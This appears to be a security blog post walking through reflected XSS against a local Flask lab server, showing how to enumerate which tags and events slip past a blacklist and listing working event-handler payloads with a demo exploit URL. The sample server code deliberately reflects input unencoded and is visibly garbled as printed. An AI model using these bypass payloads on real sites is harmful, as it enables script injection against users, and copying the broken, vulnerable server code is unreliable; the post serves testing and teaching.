Detecting valid tags/events on XSS exploitation.


Exploiting Cross-Site Scripting (XSS) vulnerabilities might be a little tricky. In this blog post, the functionality of a helpful script will be described to assist in the injection of valid HTML/JavaScript syntax to take advantage of a weak tag/event validation.

Note: This post is based on the amazing job of the Portswigger’s team and it’s Cross-site scripting (XSS) cheat sheet

Analyzing the injection point

In order to explain in a practical way, a vulnerable server is deployed using Flask. This server accepts an input parameter (name) and the parameter is reflected in the response without any encoding. However, the blacklist value is going to be filled with a list of strings that will try to detect a XSS.

from flask import Flask, abort, request
app = Flask(__name__)

def Welcome_name():
  name = request.args.get('name')
  blacklist = []
  if any(string in name for string in blacklist): 
    abort(403, description="XSS Detected")
    return 'Test XSS: ' + name

if __name__ == '__main__':'',port=81)

Once the application is deployed, a GET request with a < character is performed to analyse how the response reflects it:

GET /XSS?name=asf< HTTP/1.1

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:32:32 GMT

Test XSS: asf<

It seems vulnerable to XSS. Another GET request is submited using <img tag:

GET /XSS?name=asf<img HTTP/1.1

Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:36:50 GMT

<title>403 Forbidden</title>
<p>XSS Detected</p>

XSS Detected. How the filter works must be analysed.

XSS Tag/Event analyzer

The following Python script analyzes which suitable payload could be used to exploit a valid XSS when tags/events are validated. It compares the information supplied after analyzing how the filter works and the information of Cross-site scripting (XSS) cheat sheet.

It can be downloaded Here -

The usage is the following:

usage: [-h] [-f FILE] [-t TAGS [TAGS ...]]
                   [-e EVENTS [EVENTS ...]] [-o OUTPUT]

Find suitable XSS Payloads.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file with the payloads
  -t TAGS [TAGS ...], --tags TAGS [TAGS ...]
                        array with allowed tags
  -e EVENTS [EVENTS ...], --events EVENTS [EVENTS ...]
                        array with allowed events
  -o OUTPUT, --output OUTPUT
                        output payload list


GET /XSS?name=asf<§tag§ HTTP/1.1


The following tags are candidates to a valid exploitation: b blink details marquee blockquote

GET /XSS?name=asf<b+§event§ HTTP/1.1


The following events are candidates to a valid exploitation: oncontextmenu onhashchange onmouseout onpopstate

❯ python -t b blink details marquee blockquote -e oncontextmenu onhashchange onmouseout onpopstate

Payloads found:

| Payload                                                |    Browser Compatibility    |
| <b oncontextmenu="alert(1)">test</b>                   | chrome firefox edge safari  |
| <blink oncontextmenu="alert(1)">test</blink>           | chrome firefox edge safari  |
| <blockquote oncontextmenu="alert(1)">test</blockquote> | chrome firefox edge safari  |
| <details oncontextmenu="alert(1)">test</details>       | chrome firefox edge safari  |
| <marquee oncontextmenu="alert(1)">test</marquee>       | chrome firefox edge safari  |
| <b onmouseout="alert(1)">test</b>                      | chrome firefox edge safari  |
| <blink onmouseout="alert(1)">test</blink>              | chrome firefox edge safari  |
| <blockquote onmouseout="alert(1)">test</blockquote>    | chrome firefox edge safari  |
| <details onmouseout="alert(1)">test</details>          | chrome firefox edge safari  |
| <marquee onmouseout="alert(1)">test</marquee>          | chrome firefox edge safari  |

http://localhost:81/XSS?name=asf<b oncontextmenu="alert(1)">test</b>